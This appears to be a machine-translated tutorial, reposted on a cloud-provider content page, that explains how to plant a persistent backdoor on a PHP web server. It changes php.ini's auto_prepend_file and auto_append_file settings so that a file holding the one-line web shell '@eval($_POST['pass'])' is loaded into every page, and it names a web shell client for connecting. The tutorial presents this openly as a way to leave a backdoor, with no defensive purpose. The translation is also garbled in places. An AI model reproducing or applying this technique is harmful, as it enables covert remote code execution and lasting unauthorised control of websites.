Use php. ini to hide a sentence

Source: Internet
Author: User

Use a function in php to automatically add the header and footer to the file to hide a sentence.


Edit the php script file in a directory of the site (such as the root directory) named info. php. The content is as follows:
<? Php
Phpinfo ();
?>
Open http: // 127.0.0.1/info. php locally.
Check the configuration file used by the System

Find and edit the configuration file
The following lines:
Auto_prepend_file = test. php # automatically add the content in "test. php" to the header location of any file
Auto_append_file = fuck. php # automatically add the content in "test. php" to the footer of any file
If it is unix, modify the following two lines:
; UNIX: "/path1:/path2"
; Include_path = ".:/php/shortdes"
I am using windows
; Windows: "\ path1; \ path2"
Include_path = "E: \ PHPnow-1.5.6 \ htdocs;." # specifies that the inclusion function in php first searches for the path "E: \ PHPnow-1.5.6 \ htdocs" and then "." is the root.
Create a name in "E: \ PHPnow-1.5.6 \ htdocs" (the name is random, up and down to be consistent) as "test. php and fuck. php script file, which contains the most critical sentence:
<? Php
@ Eval ($ _ POST ['pass']); # pass is the password.
?>
Use caidao for testing as follows:


In this way, you can use "php. ini" to leave a backdoor.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.